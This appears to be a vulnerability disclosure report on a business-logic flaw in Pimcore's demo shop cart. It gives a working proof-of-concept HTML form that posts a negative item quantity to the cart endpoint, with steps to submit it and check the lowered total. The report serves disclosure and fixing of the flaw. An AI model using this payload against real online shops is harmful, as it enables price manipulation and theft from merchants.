✍️ Description

Pimcore is vulnerable to Business Logic error through negative products amount.

🕵️‍♂️ Proof of Concept

HTML content:

<form id="form" action="https://demo.pimcore.fun/en/cart" method="POST">
  <input name="items[12]" value="1">
  <input name="items[440]" value="-69">
  <input type="submit">
</form>

1. Save the above content into an HTML file.
2. Open the HTML file on the browser and click on Submit button.
3. Check out the total price.

PoC video.

💥 Impact

It is possible to get all products for free or with a very low price.